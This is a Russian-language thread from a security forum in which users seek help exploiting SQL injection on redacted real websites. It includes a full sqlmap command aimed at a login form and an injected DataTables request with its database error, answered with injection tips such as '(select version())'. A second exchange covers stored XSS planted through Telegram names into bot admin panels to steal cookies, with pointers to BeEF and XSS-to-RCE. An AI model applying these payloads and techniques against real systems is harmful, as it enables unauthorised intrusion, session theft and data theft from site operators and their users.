ANTICHAT — форум по информационной безопасности, OSINT и технологиям

sqlmap.py -u "https://******/client/login" -p "email" --risk="3" --level="3" --method="POST" --data="--3e306551ffbd4492975ea8cd2a9917cc

Content-Disposition: form-data; name=%22email%22

test

--3e306551ffbd4492975ea8cd2a9917cc

Content-Disposition: form-data; name=%22password%22

N3tsp@rker-

--3e306551ffbd4492975ea8cd2a9917cc

Content-Disposition: form-data; name=%22action%22

login

--3e306551ffbd4492975ea8cd2a9917cc

Content-Disposition: form-data; name=%22submit%22

Sign In

--3e306551ffbd4492975ea8cd2a9917cc

Content-Disposition: form-data; name=%22hash%22

3a4bf5ec9dcc971c08509bf8f5ca5cf1daac489a

--3e306551ffbd4492975ea8cd2a9917cc--

" --user-agent="Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36" --headers="Accept:application/json, text/javascript, */*; q=0.01\nContent-Type:multipart/form-data; boundary=----WebKitFormBoundaryOln7Ytw9vsNImdiP\nOrigin:https://*****\nX-Requested-With:XMLH...s://****/terms" --dbms="MySQL" --batch

Подскажите как это всё в мапу упаковать?Сама мапа не находит уяз на сайте,пришлось спаркером воспользоваться,команда выдает то,что выше,но мапа так это не хавает

положи весь запрос в файлик и обратись к нему через параметр -r file.txt

Вот скажите, является ли уязвимостью тот факт, что в телеграм БОТах с админками вполне сносно работает XSS если указывать банальный код в имя-фамилию пользователя.

Большая часть админок, не фильтрует эти данные и выходит, что можно просто написать Имя: alert(document.cookie)

Зайти в бота, и в админке вуаля



Бага это сервиса или разработчиков, которых даже не предупреждают о таких "возможностях" ?)

Да, является, с толковым подходом тут много что можно реализовать, на примере того же BEEF https://cryptoworld.su/beef-framework/, также в зависимости от того, как устроена/прописана админка, возможно воздействовать на функционал, опять же на примере XSS to RCE в wordpress или прочих CMS

Печально обстоят дела с телегой... Ну вот что им стоит поднять задницу и профиксить это на выводе к ботам напр? А так, ходи, тр***й всех вокруг - им пофиг.

Простите за дубль, но все так же в поисках решения

Кидай в лс, раскрутим ее. Помогу чем смогу

POST draw=4&columns[0][data]= '&columns[0][name]=Smith&columns[0][searchable]=true&columns[0][orderable]=true&columns[0][search][value]=3&columns[0][search][regex]=false&columns[1][data]=1&columns[1][name]=Smith&columns[1][searchable]=true&columns[1][orderable]=true&columns[1][search][value]=3&columns[1][search][regex]=false&columns[2][data]=2&columns[2][name]=Smith&columns[2][searchable]=true&columns[2][orderable]=true&columns[2][search][value]=3&columns[2][search][regex]=false&columns[3][data]=3&columns[3][name]=Smith&columns[3][searchable]=true&columns[3][orderable]=true&columns[3][search][value]=3&columns[3][search][regex]=false&columns[4][data]=4&columns[4][name]=Smith&columns[4][searchable]=true&columns[4][orderable]=true&columns[4][search][value]=3&columns[4][search][regex]=false&start=3&length=25&search[value]=3&search[regex]=false

A Database Error Occurred

Error Number: 1064

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'LIKE '%3%' OR LIKE '%3%' ) ORDER BY `date` DESC LIMIT 3, 100' at line 4

SELECT `email`, `date` FROM `login` WHERE `referral` = 'email.txt@email.com' AND ( LIKE '%3%' OR LIKE '%3%' ) ORDER BY `date` DESC LIMIT 3, 100

Filename: libraries/Datatables.php

Line Number: 354

крутиться вообще никак не хочет может кто подскажет что

sqlmap тоже не берёт

вижу 2 колонки, а остальное не понятно. columns[0][data]= ' я так понял тут инжектите? А до ваших манипуляций там какие были данные? Если `date` это columns[0][data] тогда у вас иньекция в начале запроса:

в таком случае вам нужно чтоб не нарушать запрос вывести 2 колонки и отбросить остальное комментарием кода.

Либо внедрить свой код так чтоб не нарушить оставшийся запрос, по типу:

columns[0][data]=(select version())

а еще не понятно почему ругается на LIKE и почему там нет AND если инжект в реферале.